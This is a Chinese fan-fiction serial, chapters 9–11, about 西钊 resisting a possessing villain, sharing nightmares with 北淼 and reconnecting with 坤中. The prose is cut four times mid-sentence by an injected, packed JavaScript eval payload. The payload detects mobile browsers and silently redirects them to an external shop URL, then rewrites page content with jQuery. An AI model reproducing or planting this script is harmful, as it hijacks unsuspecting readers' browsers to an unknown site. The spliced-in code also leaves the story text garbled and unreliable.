“我?当然是你咯。”丑将的笑声在西钊的脑子里回响,无时无刻不令他作呕,“等我慢慢儿地用梦魇摧毁你的意志、你的心、你的灵魂,这副身体就归我了。到时候,利用你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334636|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟大的兄弟情义逐个击破,再放出被封印的所有黑暗——” 你、休、想! 西钊恶狠狠地从牙缝里挤出三个字,冷汗渗出皮肤从他额前流下。他迅速找出了丑将话中的漏洞:如果丑将计划夺舍,那么至少说明丑将的力量目前不足以控制他清醒时的身体和意志,那些说辞只不过是虚张声势。只要找机会抹除印记、将其封印,就可以…… “哦哟哟?我在虚张声势吗?那我们就来换种方式。你说的也没错,我暂时还不能控制你,但,你怎么知道,我不能影响其他人,嗯?” 丑将话音刚落,床上的人忽然有了动静,更准确地说,是因为突如其来的疼痛而捂头左右翻滚,直至滚下床躺在西钊面前,并没有清醒,但依旧双手抱着头痛苦地叫喊着。 “啊啊啊啊啊啊——” “北淼!!” 西钊挣扎着跪坐起来,顾不得手上的剧痛,上前检查北淼的状态,但无论西钊怎么做也叫不醒他。眼看北淼的状态越来越差,丑将的声音再次响起:“虽然你们俩莫名其妙的‘心灵感应’让我的计划受到了小小的阻碍,但如果不是你们这种微妙的‘关联’,我还真就影响不到他。不想我一点点破坏他的大脑的话,就乖乖把你的身体让给我吧?” “你要的是我,别动他!” 西钊紧紧握着北淼的手试图帮他缓解疼痛,他感觉到北淼的握力比他更大,几乎要把他的骨头捏碎。好痛,西钊想,比丑将附身的印记还要痛。 “我就当你答应了哦~” “……我答应、我答应。放过北淼。”西钊不知道这种痛苦会给北淼带来什么影响,当务之急是让北淼平复下来,大不了、大不了被控制之后,让北淼、或者随便什么人杀了他。 “我知道你的任何想法。”像是表达自己的诚意,西钊臂弯里的北淼逐渐变得稳定,似乎已经不再被痛苦折磨,只是依旧没有恢复意识,丑将的声音随即幽幽传来,“别打什么小主意。当然,你要是想看着这家伙受苦我也没意见。” 西钊咬咬牙,有一种双手攀上山顶,被人一脚又一脚撵着手指直至坠落的无力感。他低头闭目,咽了口唾沫,仿佛咽下了他所有的苦:“……我知道了。” 手臂的刺痛渐渐消失,周围再次陷入沉寂,西钊的耳边只剩北淼均匀平稳的呼吸。 他本想把北淼抱回床上,结果手臂伸到北淼膝下刚准备使力,北淼就捂着脑袋倒吸凉气“嘶”一声醒了。西钊还在丑将的事情上没缓过神,反应慢了半拍,两个人就这么尴尬对视半晌。 打破沉默的是北淼,他一边揉太阳穴一边快速拉开和西钊的距离站起身:“怎么回事?” 西钊熟练地调整好情绪,做足表情管理,手撑地面跟着站起来打趣道:“你还问我。一边说梦话一边从床上滚下来的那个人可不是我。” “嘶……”什么都不记得的北淼摸了摸后脑勺,“难怪头这么疼。” 北淼已经开始整理衣服,拿出自己的那份洗漱用品往浴室走。西钊在他身后,看着他的背影,强撑的笑意慢慢沉下去,下意识地按住手臂印记的位置。 如果哪天一定要以不体面的方式说再见,那么,在那之前,至少…… “北淼。” “嗯?”北淼转身回头。 “……我答应你。”西钊听见自己说,“我答应你,跟你回去。” TBC 9. 烤架下的暗流 他们离开酒店时正值傍晚,北淼想着,现在带西钊回去或许还能找冰儿三个人一起吃个饭。他定好餐厅、联系冰儿,这才领西钊上车。 西钊在副驾驶上很沉默,视线游离在窗外一言不发。北淼等红绿灯时偏头望着西钊,问出了他一直憋着的问题:“为什么,突然改变主意了?” 北淼没有看到西钊垂在身侧的右手缓缓握成拳。他费力地扯出一个苦笑,没有回头:“我怎么放心,让一个睡觉都会从床上掉下来的家伙和冰儿一起住?” “?” “我知道,你也一定,还有心事吧。”西钊低头轻笑,这才与北淼对视,正好绿灯,北淼不知是专注于开车还是心虚,避开西钊的眼神转头盯着大马路,一脚油门踩下去,惹得西钊忍俊不禁,“放心,只要你不说,你的事,我不会多问。我也有……必须有留下来的理由。” 北淼沉默着,没有马上接话。西钊还是老样子,别人不问,他从不谈论自己;别人不说,他从不好奇别人。虽然即使问了,北淼估计也不会对西钊敞开心扉,但方才西钊说“不会多问”时,北淼有那么一瞬希望西钊问出来。他不知道自己是在庆幸、还是在失落。 “……这样也好,接下来就由我来照顾你们两个。”北淼在心里叹了口气,将车拐进高档小区,“我准备在公司给小雪留一个简单上手的职位,让她慢慢适应现在的世界。等户口的事办下来,她就正式入职。”北淼将车熄火,转身将手肘撑在方向盘上看向西钊,语气颇有曾经“领队”的风范,“你也一起。” 西钊眉头微皱,很是困惑。 北淼一边开门下车,一边和跟着下来的西钊解释:“开户口的时候,你也一起。我会在公司里给你找个工作。这段时间你就住我家。” 北淼准备领西钊往家走,但西钊犹豫着站在原地。他在车里想了很久,他不知道自己待在北淼身边是会帮了他还是会害了他。所以等北淼疑惑地回身时,他笑道:“你们好不容易团聚,冰儿肯定希望你有更多时间陪她。她也说过,她喜欢跟着你。我一个外人,不太好吧。” 北淼一听到“外人”两个字就气势汹汹地走回来,几乎要贴到西钊面前。 ……好近。西钊下意识地后撤半步。 “现在大家都是兄弟,你和小雪相处了这么久,哪儿来的‘外人’?如果是因为小雪是女孩子,你不方便,我家是复式,她住楼下的主卧,我和你住楼上的两间客卧。我让阿姨在我们吃完晚餐之前收拾出来。你如果有什么行李,可以随时搬进去。” 好吧。倔犀牛。 事到如今,西钊横竖都没有回头路,他手插口袋,耸了耸肩上下打量一番自己:“我身上所有的东西都是你给的,除此之外,我什么都没有。” “……”听闻西钊的前半句,北淼莫名有些高兴,但他似乎觉得对于西钊的“一无所有”表现出愉悦有些不合时宜,于是他清清嗓子,拿出手机,“那我叫小雪下来,一起吃个饭。” 三个人的晚餐还算顺利。西钊摆着一张笑脸几乎只顾着给冰儿烤肉以及给自己和冰儿夹肉,每当北淼不满地端起盘子控诉“我的呢”,西钊就会把自己碟子里的肉递过去。相比以前的冷漠无情,冰儿变得更加温和,虽然对于人类世界的一些事依旧笨拙,但北淼不厌其烦地一遍遍在她身边教。西钊很少介入他们的对话,除了烤肉就是吃肉,总是北淼提起,他才应一声。 真好啊。冰儿现在,一定很幸福。 西钊左手托着脸颊,看着对面并排坐着讨论怎么烤肉的二人,一边用右手熟练地用烤肉架将架子上的牛肉翻面,一边在心里感叹。他希望这样的温馨能一直持续下去,直到冰儿的存在一点点化解北淼的梦魇。等到那时,他就可以放心…… “——!” 手臂传来的刺痛让西钊手腕一抖,夹子落下来发出不小的声音,惊到了北淼和冰儿。 是丑将在提醒他不要动歪心思。 面对他们的担忧,西钊只是笑笑说:没事,烫到手了。 他是“金”。只要能保护重要的朋友不受伤害,他就可以承受这世间所有的苦。 ———— “西钊。” 冰儿推开半掩的房门,叫了坐在窗台上观望城市夜景的西钊一声。 北淼正在用唯一的浴室——二楼的浴室坏了,北淼承诺明天就能修好。冰儿欲言又止地站在门口,没敢进去。西钊转过脸看向她时,她的视线立马飘到了光滑的木地板上。 “冰儿?怎么了?”西钊还是一如既往地温柔,搭在窗台的双腿放下,起身轻握住冰儿的手臂领她进门,“有什么事,就进来说吧。” 冰儿垂下眼帘,抿唇犹豫许久,像是鼓足勇气一般抬眼看向西钊:“……以前的事,我很抱歉。” 西钊宠溺地低声一笑,打趣道:“以前的事?是你故意让北淼拿你当人质害得我受罚,还是你被北淼伤透了心,然后拿我出气?要知道那时,如果不是雪獒铠甲,我可能就‘一命呜呼’了。” 冰儿有些着急,想要辩解什么:“我……” “好了,逗你的。你知道我不会生你气的。老实说,当时如果不是铠甲护体,我也不能逃出基地。你瞧,虽然我现在没有‘天下无敌’,但还是活蹦乱跳的。再说,你实际上也只是在生北淼的气。”提到北淼,西钊的心一沉,他想起了北淼关于冰儿的噩梦,他不希望冰儿再在无意间刺激到北淼,让他越来越自责,“说起这个……冰儿,你真的、原谅北淼了吗?” 冰儿沉默了。熟悉她的西钊能感觉到冰儿周围气压的变化。但她只是摇了摇头:“我不想提以前的事。现在和小北哥在一起就很好。” ……所以还是有那么一点小情绪。西钊和冰儿相处十年,她的脾气他再了解不过。 西钊无奈地笑着叹口气:“还记得吗?当他知道你就是小雪,只要是‘你’,不管是你本人也好,黑暗护法的阴谋也好,他都对你没有半点怀疑和戒备。那回,恶水伪装的你,可把我们几个坑惨了。反观我,无论我做什么,他都不会相信。对他来说,怀疑我是合理的、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334637|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是最合适的替罪羊。可你不同,冰儿。他一直……都想救你回去。那些不信任你的话,是说给我这个‘烂橘子’听的。” 冰儿低头捏着胸口的吊坠,没有回应。 “原谅他吧。”西钊想了想还是没忍住说出口,“北淼他,真的很自责。睡个觉还会做噩梦从床上滚下来……”西钊说着说着就不自觉笑出声。 “天啊……这件事你还要念叨多久??”穿着睡衣的北淼一边拿毛巾擦拭头发,一边杵在门口朝西钊控诉。 西钊抬眼望向北淼,微微歪头,满脸无辜:“那就要问冰儿什么时候忘掉了。” “那完蛋了。你也不看看她一件事能记多久……”似乎是心虚,北淼移开视线到隔壁找吹风机。 在西钊的劝导和方才的闹剧下,冰儿恢复了笑容,随即又有些困惑地问:“那你呢?他对你做的事,和我有过之而无不及。虽然以你的性格,确实能一笑了之,但那并不代表……” “我知道。”西钊轻声打断冰儿,“理解他针对我的行为和对此释怀是两回事。但我现在在他的家里,而不是……”西钊低头停顿一下,才继续说,“……这至少说明了什么,不是吗?而且,你知道,如果我真的想,我有一百种方法可以报复他。” “?报复我什么?”北淼举着吹风机从门外探了半个身子。 西钊和冰儿双双看向北淼,不约而同地笑起来。 ———— 互道晚安后,三人回到各自的房间。但北淼没有丝毫睡意,或者说,他今晚另有打算。他把西钊安排在自己家是有原因的,这让他更方便了解西钊和他之间的“感应”——是的,他还没忘记这回事。 北淼让自己意思意思休息了几个小时,再在凌晨时分醒来。一来是保证西钊已经睡着了,二来是保证自己有足够的体力和精神力面对接下来的事情。他有想过,受到影界多年训练的西钊会不会习惯性地保持警惕,一有小小的动静就会条件反射地做出什么过激的举动。不过即使这样,北淼也想好了“担心你睡不习惯”的说辞。 但他想的场景都没有发生。 ??他打开房门,里面并非一片漆黑,窗外的月光与路面的灯光透过窗户溜进来,让北淼能隐约看清整个房间。西钊没有关窗帘。北淼这么想着,悄无声息地走到床边,低头观察床上熟睡着的、毫无知觉的人。 西钊身上是北淼现买的睡衣,和北淼以及冰儿是一套。北淼的是黑猫、冰儿的是白兔,而西钊的是狗。他侧身蜷缩着,被子已经滑到腰上,双手在脸侧交叠在一起,手指时不时随着短促的呓语抽动。借由外面的微光,北淼发现西钊的脸色并不好看,额头冒汗、眉头紧锁、唇齿颤抖——西钊又做噩梦了。倒不如说北淼早料到会这样。他在床边坐下,确保西钊依旧深陷梦魇没有动静之后,伸手与西钊掌心朝上的手交握。 啧,好凉。 北淼的手握紧了些,闭上眼屏息凝神。 ——就让他看看,这家伙脑子里到底装着什么吧。 TBC 10. 吊桥效应 忘了什么时候和西钊在海边闲聊,北淼谈到坤中被放置芯片、情绪失控的事。他听坤中说过,自己亲眼看到界王和丑将用鞭子抽打西钊。后来北淼想,如果不是苦肉计,回到影界之后,西钊肯定也会继续受到处罚。尽管知道这是句废话,那天他也没来由地问西钊: “疼吗?” 西钊只是笑了笑,眺望远处的海平面:“还记得我们不得不解除铠甲抵消电磁罩的那一次吗?界王心情好的时候,大概就那么痛吧。” 那时,北淼没去想、也没继续问什么是“心情不好”的情况。但现在,他知道了。 如果不是身为光影铠甲召唤人强大的意志力,北淼已经被这股强烈的电流逐出梦境。他——也就是西钊,正被锁链束缚在一个舱室,一次次地经受上万伏电压的电击。在梦里,他不会失去意识、也无法苏醒,无论电流如何摧残他的身体和意志,都没有办法缓解这份痛苦。北淼的意识几乎是跟着西钊一起嘶哑地叫喊,光是维持自己存在于这里就耗费了北淼大部分精力。他想,这难道就是西钊在影界会经受的处罚吗?为什么雪獒铠甲不会…… 北淼正要想“光影铠甲为什么不保护它的主人”时,他透过电流,看到混沌的黑暗慢慢浮现出微光。电流随着眼前场景逐渐变得清晰而减弱,也正是此时北淼见证了什么是真正的“混沌尽散”:距离他不远处,雪獒铠甲的震雷斧重重劈下,一记苍白的“震雷削”卷着周围的黑雾撕裂空气、正中对面黑犀铠甲的胸口,巨大的冲击力将其推至悬崖边缘。来自梦境的潜意识告诉他,那是万丈深渊、是无尽地狱。 等等、不对。努力把自己从电击的痛苦中拽离的北淼快速思考着。如果“他”是西钊,雪獒铠甲里的人又是谁?这难道又是上一个梦境的重现吗?西钊在害怕他人受到伤害,只是正巧每次他都看见的是自己? 北淼来不及细想,意识就好像被一把利刃刺穿。熟悉的绝望与悲痛再次将他包裹,空气中甚至弥漫着腐朽的气息,让他每一次呼吸都仿佛在泥潭里挣扎。他注意到西钊的视线看向悬崖边的二人,双手几近疯狂地想要挣脱枷锁,但这只会让他再次经受高压电流的折磨。太痛了。北淼想。他终于知道西钊那以消瘦之躯撑起雪獒重甲的意志来自哪里了。 北淼听到西钊在喊他的名字,喊得撕心裂肺,连北淼的嗓子都跟着疼了起来。他很想回应,告诉西钊自己就在这里。但他做不到。 悬崖边,躺倒在地受到重创的黑犀铠甲被迫解除。“北淼”捂着胸口,难以置信地看着面前步步逼近的雪獒铠甲。 “西钊!你在干什么!你到底怎么了?!你这个混蛋,快给我醒过来!” 白色的铠甲没有给“北淼”任何回应,只是沿着既定路线继续朝他走去,慢慢举起震雷斧。 这是一个恶性循环。如果不做些什么、如果不能够以他的意志介入西钊的意识,西钊可能永远走不出这样的梦魇。正当北淼这样想时,一个名字意外地从“他”——西钊嘴里喊了出来,与此同时,劈向“北淼”的巨斧停在空中,舞台剧般的画面犹如时间静止。 “丑将——!你说过、只要我……照你说的做,你就会放过北淼……”西钊的嗓子哑了,但每个字都异常清晰,“现在你的目的达到了、放过他,这是我们之间的约定!” 先前被雪獒铠甲斩断的黑雾不知从何处重新聚集起来,仔细看就会发现它们一点点地从白色铠甲的缝隙中渗出,最后在它背后凝聚出一个熟悉的人形,那个连北淼也恨之入骨的家伙。 他拍拍静止不动的雪獒铠甲,放声大笑:“哎呀呀,是吗、是吗?让我想想。噢——好像是有这么回事。” “你已经得到了你想要的。他对你来说、没有任何用处,为什么不能放他走……”北淼从西钊的语气里听出了恳求与卑微,如果是以前的他,或许会嘲笑西钊窝囊,但现在,他胸口沉淀的苦闷只让他觉得无法呼吸。 “我确实是这么说的。但、没有人教过你、坏人是不会讲诚信的吗?噢,对对对,我差点忘了,你也是个坏人。” “你……!!!” 时间的齿轮随着丑将令人深恶的笑声再次转动,巨斧劈下地面,岩石断裂,倒在上面的人坠入黑暗的深渊。恐惧、愤怒与绝望在瞬间吞噬了整个梦境,如同揉碎一张纸将它生生撕裂。被束缚的双手传来一阵突兀的剧痛,将他们一起拽回现实。 “北淼!!!” 西钊满头大汗地惊醒,一时没有适应面前的黑暗,几乎是出于战士的本能将面前的影子掀翻在地,架在他身上按住他的肩膀狠狠挥下一拳。然而西钊并未命中对方,而是被躺在地上的人歪了脑袋抬手一掌接住。终于,逐渐变得明亮的视线让他隐约看清了月光下再熟悉不过的那张脸。 “没事。”北淼调整呼吸,看着西钊无神的双眼、几近崩溃的表情,抬手绕到西钊背后,温暖的手掌按住他的后颈轻轻磨挲,“你接住我了。” 紧绷的神经骤然松懈,意识仍游离在梦与现实边缘的西钊身子一软,直接压在了北淼身上。他按在北淼肩膀的手缓缓捏紧,力道之大甚至让北淼吃痛地皱了皱眉。西钊的额头抵在北淼胸口,惊魂未定的颤抖与喘息将他口中的“北淼”两个字拆成碎片。 北淼顺应西钊的呼唤,凝视那苍白的、憔悴的脸庞。雪獒铠甲跟他黑犀一样抗揍,但铠甲里的人却比他想的还要脆弱——不、不是脆弱,北淼想。应该没有人比这个人更坚强了。说什么“真金不怕火炼”,但他是那个把金子丢进熔炉里的人啊。越是这样想,北淼心中越是焦躁。 到底要怎么做才能安抚他? 在北淼的脑子想到“怎么做”三个字的时候,他已经捏住西钊的后颈,缩短彼此的距离;等他给这个问题画上问号时,两人的嘴唇已经碰到了一起。那一刹那,仿佛他们谁结下了禅定印,让一切完全静止。有什么东西在北淼心中的某处角落悄无声息地点燃,让他的心跳骤然加速。那是一种无法抑制的、没有缘由的、最为原始的冲动,就好像错开的齿轮终于找到了正确的缺口。如此亲密的触碰没有一丝滞涩,短短几秒,齿轮的转动短暂卷走了北淼的理智,让他无法就此停下。 他微微收紧按住西钊后脑的手,手指插入他的发间。 他听到自己低声命令道:“嘴张开。” 西钊半睁着眼、意识模糊,几乎是下意识地顺从。北淼在他张口的一瞬便极具侵略地探舌深入。他感觉到西钊身体一僵、又马上放松下来,在唇齿舌的交互中陷入无法反抗的温柔旋涡。在这个吻里,他们甚至不需要“心灵感应”,就能听见彼此的心跳和呼吸。热量交融在他们鼻息之间,迷了他们的视线。 北淼不知道这个吻持续了多久。他放开西钊时,对方红着脸,双眼迷离,似乎还对方才的触碰意犹未尽。但当北淼一直按着西钊后颈的手松开,西钊毛茸茸的脑袋就这么垂到了北淼颈间。西钊的吐息依旧炙热,但他的呼吸渐渐平稳,捏紧北淼肩膀的手也脱力似的垂下——或许是梦里梦外精神力消耗太大,西钊再次昏睡了过去。 北淼被西钊这一脑袋砸醒了。他的本意是想让西钊稳定下来,没想到会发展成接吻,还是“法式”的那种。他躺在地上没有动,抬手捂住脸无声哀怨。 是个成年人都知道“接吻”的意义,但北淼觉得自己好像误会了什么,或者因为之前的某种处境让他产生了错觉,因此做出这样“越界”的事情。对他来说,这并不意味着他对西钊是东杉对美真的那种感情,但这件事要怎么解释呢?西钊是他兄弟,跟兄弟接吻,这合理吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334638|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对,现在不是想这些的时候。 北淼尝试推了推身上的人。纹丝不动,也没有要醒过来的迹象。于是他只好将西钊抱回床上,塞进被子里。他偶然间从睡衣的领口下瞥见西钊被很好地掩藏在锁骨之下的伤疤。他看不清,但他知道不是因为屋里太暗,而是伤疤太多,交错在一起。他沉默着给西钊整理好衣服,掖好被角。他在床边驻足许久许久,直到西钊苍白的脸色有所好转。 离开房间之前,北淼思索片刻,拿过西钊随意放在床头柜的手机,拆开电池,贴上一片定位器,再把手机放回原处。接着,他回到自己房间,拿出手机给一个人发了条信息。 发件人:北淼 找你问点事。 明天上午十一点,我在汉堡店等你。 ———— “嗨。”一个礼貌的问候。 “嗨。”一个礼貌的回应。 “老实说,收到你的信息我很意外。”小嵩坐上汉堡店的椅子,将手里的时装资料放在吧台上,往吧台内看了一眼,似乎在遗憾今天没有免费的三明治和可乐,“想不到,你居然有事会问我?” 北淼坐在另一边的椅子上,隔得有些远,盯着手里还剩半玻璃杯的可乐,时不时摇晃两下:“我记得,你以前是新闻记者?好像、还是八卦记者。我觉得,这些事问你比较合适。” 提起“黑历史”,小嵩有些不自在:“那都是过去的事了。但就我个人来说,有些好奇你到底有什么事,要问我这个‘前·八卦记者’。难道是感情方面的事情?” “差不多。”北淼的杯子倾斜着,在桌面上不停转圈,“你知道,‘吊桥效应’吗?” “当然。吊桥效应是说,当一个人走过吊桥时,会不由自主地心跳加快。如果这个时候碰巧遇到另一个人拉住他,他就会把由这种紧张刺激的情境引起的心跳加快归因于心动,进而对对方产生情愫。也就是说,在高压力或刺激的环境下,人们容易误将紧张、刺激的情绪误解为附近某人的吸引力。”小嵩的手指一边在吧台敲击,一边摇头晃脑地解释。 北淼转动杯子的动作停了下来。 “所以,在高压力、极具刺激性、精神紧绷的环境下,做出一些……亲密举动,或者有类似的感觉,是正常的,是吧。”北淼平静地说出一个以疑问词结尾的陈述句,“也可以说是‘错觉’,不是真的产生什么……多余的感情。” “嗯。这就是‘吊桥效应’带来的错觉。”小嵩点点头,随即又问道,“怎么了,难道你跟谁‘走吊桥’了?是冰儿吗?她现在应该跟你住在一起。” “我不知道比这更糟还是更好。”北淼一口气喝光杯子里的可乐,将杯子倒扣在桌面,“是西钊。我‘不小心’亲了他一下。” “脸?” “嘴。” “……” 北淼没再多说什么,像是松了口气一般站起身抖抖外套准备离开:“当时情况特殊。你也说了,这是‘吊桥效应’。所以,等他睡醒,我会跟他解释清楚。” 小嵩眉毛一挑,转过身意味深长地笑了笑,也不再多言。 “对了。还有一件事。”门打开一半踏出去半只脚的北淼回头看向小嵩,“这件事,麻烦你帮我对其他人保密。” “那下次聚餐,你请客?” “我请客。” “成交。” ———— ERP研究室内。 美真看着屏幕上先后离开的北淼小嵩二人,又抬头看向身旁的东杉,欲言又止、吞吞吐吐道: “他们、应该知道、这里的监控……能听到声音的吧……?” 东杉举起空咖啡杯喝空气以遮住表情,移开视线挪步到一边,假装无事发生。 TBC 11. 橘猫与獒犬 西钊很难定义自己与其他人的关系。 在影界时,他只需要区分“敌人”“战友”,除了冰儿于他而言是“需要照顾和保护的人”——当然,现在他知道这种关系名为“亲情”。 以前他们出任务,只会把身边的人划分成“可利用”“没有用”,以至于西钊至今也无法准确地判断自己对身边人的情感。进而,去界定自己与他们之间的关系也跟着变得困难起来。 影界的战士没有“爱好”这样奢侈的东西,直到西钊奉界王的命令出来放风时,一个篮球从远处以极快的速度和完美的抛物线投射过来。西钊本能地接住那本应砸到他面门的篮球,抬眼时,他看到那个穿着兜帽衫的家伙气喘吁吁地跑到他面前,双手撑着膝盖上气不接下气地向他道歉。 那是西钊第一次遇见坤中。 篮球对西钊来说,上手非常容易——至少比震雷斧和震雷棍容易多了。他也很快和坤中成为了坤中口中的“球友”。那段时间,界王对霸王盯得很紧,他和冰儿有更多的时间在影界之外活动。于是,他便能经常接到坤中“切磋球技”的邀请。冰儿认为那是在浪费时间,因为对方“没有利用价值”,也与他们要执行的任务无关。但西钊却乐此不疲。 有一次,西钊应邀赴约。但他们还没热身,冰儿就在远处给西钊使了个眼色,意思是:有新任务。西钊无奈,只好以“有点急事”为由先行离开。离开之前,西钊有些愧疚地向远远赶来的坤中道歉,结果坤中只是抱着篮球勾住他的肩膀拍了拍。 他说:“没事!我们是朋友嘛。这次就当你临阵脱逃,我领先一分。” 朋友这个词,西钊并不是第一次听,但从未有过哪一次像今天这样陌生。 西钊的心中燃起某种暖意,和照顾冰儿时相同的、与影界截然相反的暖意。那股热流让他勾起嘴角,轻声低笑。西钊发现,他似乎已经很久没有这么发自内心地笑过了。 “我看,是你怕我赢得太快,所以‘先下手为强’,占我便宜。” “谁怕你啊!要不是你今天有急事,我保证让你输得心服口服!” 每每想起这些事,西钊总会想到,坤中一直对他坦诚相待、无条件地信任他、无时无刻不在关心他、有好事会跟他分享、闹情绪了会找他聊天。每当坤中给其他人介绍西钊时,他都会说“这是我的好兄弟/好朋友”。也正是那时候,西钊才慢慢把这些行为和“朋友”这个概念对上号,一直到他和敏慈互相分享秘密、袒露心声,他才意识到拥有朋友是一件多么美好的事情。 这样想来,他好像从没和坤中说过什么心里话。以前是碍于他的身份,西钊无法和坤中倾诉;偶然知道彼此的身份后,敌对阵营的关系似乎让他们的交流变得更加困难。等一切尘埃落定,敏慈已经成为了他的第一个倾听者。 或许,西钊欠坤中一次坦白。 ———— “哟!两天不见,是不是想我了!” 熟悉的力道一巴掌拍在西钊的背上,坤中抱着篮球蹦到西钊面前指着他眨眼。十分熟悉的场景。或许是面前这个家伙自带的光和热,每次看见坤中活蹦乱跳的样子,西钊沉闷的心情也跟着明亮了些许。 他不给坤中反应的机会,上一秒还双手插兜,放松闲散,下一秒已经躬身架好姿势闪到坤中面前夺走篮球,转身起跳完成一个完美的二分球。 “嗯。是挺想的,我都快忘记你是怎么败在我手下的了。” “喂!哪有你这样的!”坤中撸起两边的袖子,与西钊对峙,“今天我一定让你知道谁才是篮球王子!” “乐意奉陪!” 两个年轻的身影就这样在篮球场上互相追逐交锋,直至太阳爬上头顶、汗水将他们的头发和衣服浸湿。 这大概是他们第一次这样尽兴又痛快地打一次篮球。至少累得直接大字躺在球场上回血回蓝的坤中是这么想的。他知道西钊的耐力和北淼一样好,但他没想到会这么好啊……上回把美真累得直呼弃权,结果这次西钊连进三个球气都不带喘的。 “认输了?”西钊脱下外套,挂在臂弯上走到坤中旁边并排坐下,将一瓶未开封的水拧开,给坤中递了过去,“给。” “认输了认输了。”坤中如鲤鱼打挺一般盘腿坐起来,接过西钊手里的水一点点往嘴里灌,喝到一半又递回去给西钊,“不过,今天打得真痛快!没想到西钊你以前保留了那么多实力,太不把我当朋友了。”坤中一边调侃,一边轻轻地给西钊肩膀上来了一拳。 西钊没有回应坤中的玩笑,反而低下头,摆弄外套的衣角。 坤中歪头凑了过去:“西钊?你怎么了?” 似乎是在深思熟虑之后下定的决心,西钊偏头与坤中对视,带着些不确定地开口问道:“坤中,你觉得,我是个差劲的‘朋友’吗?” “啊?”刚刚不是在说篮球吗?怎么突然说到朋友了?坤中夸张的困惑表情映入西钊眼中,他抓抓脑袋,好像没明白西钊的意思。 西钊无奈一笑,重新低下头去捣鼓那可怜的外套:“我只是在想,如果我愿意早一点和你说心里话,早一点明白什么是‘朋友’,或许我和他们……你们之间,就不会有那么多误会了。不管他们怎么明嘲暗讽,你都一直站在我这边,而我好像、没有为你做过什么。” “哎呀,干嘛要算得那么清楚啊。”坤中身子向后往地上一躺,两腿伸直了、双手枕在脑后闭着眼舒服地晒太阳,“这都是朋友应该做的。现在你不也陪我打球吗?” “明明是我叫你出来的吧……”西钊哭笑不得地跟着一起躺下,他觉得阳光很刺眼,抬手随意地用手背遮住脸,“不过,你的‘好朋友’曾经是个无恶不作的大坏蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334639|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对你来说,真的没关系吗?” 原来是在担心这个啊!坤中重重叹息一声,侧过身手肘撑着地板,手掌托着脸颊看向西钊:“西钊,过去的事都过去了,每个人都有第二次机会。如果是我的朋友,只要他愿意改,就、就还有第三次机会!” 西钊浅浅笑出声,没有理他。 坤中不高兴了,一把拿开西钊的手,让自己的脑袋遮蔽全部阳光:“那这样,从现在开始,你每做一件好事,就可以抵消掉你以前做的一件坏事。等做了足够多的好事,你就不能再说自己是坏人了。” 这也想得太简单了点。西钊忍俊不禁。这家伙好像和自己差不多大,但与自己不同的是,他拥有本属于这个年纪的快乐和活力,并且擅长把它传递出去。看着那副单纯得几近天真的模样,西钊再次感觉到了那股暖意流淌在他的血液之中,仿佛折磨他的梦魇不复存在,留给他的只有平静与祥和。他很喜欢这种感觉、很喜欢这样的时刻。 有那么一瞬间,他想:留下来,好像也没什么不好。 ———— 北淼很难描述眼前的画面。 从快乐堡和小嵩告别之后,他本来打算回家叫醒西钊,但当他查看手机上西钊的定位,却发现西钊并不在家。北淼的大脑一阵嗡鸣,立即打电话给冰儿询问西钊的去向。直到冰儿说西钊只是约了坤中去西街的球场打球,北淼这才放下心来,准备去把西钊找回来。 他并没有去想自己脑海里关于“找回来”的这个措辞,就好像西钊是他走丢的狗似的。 他的车开不进球场,于是他只好步行。结果临近球场时,便看到坤中和西钊躺在球场中央,坤中侧着身面对西钊,还抓着西钊的手腕;西钊也没反抗,两个人还笑得很开心,似乎在互相打趣。最后还发展成了小打小闹,颇有一种小猫大狗玩儿在一起的既视感。 ……哼。跟他北淼在一起时可没这么开心。 北淼阴沉着一张脸,悄无声息地接近,环抱双臂地靠在篮球架边上,紧盯着二人。他一直都很喜欢从远处观察事态的发展。 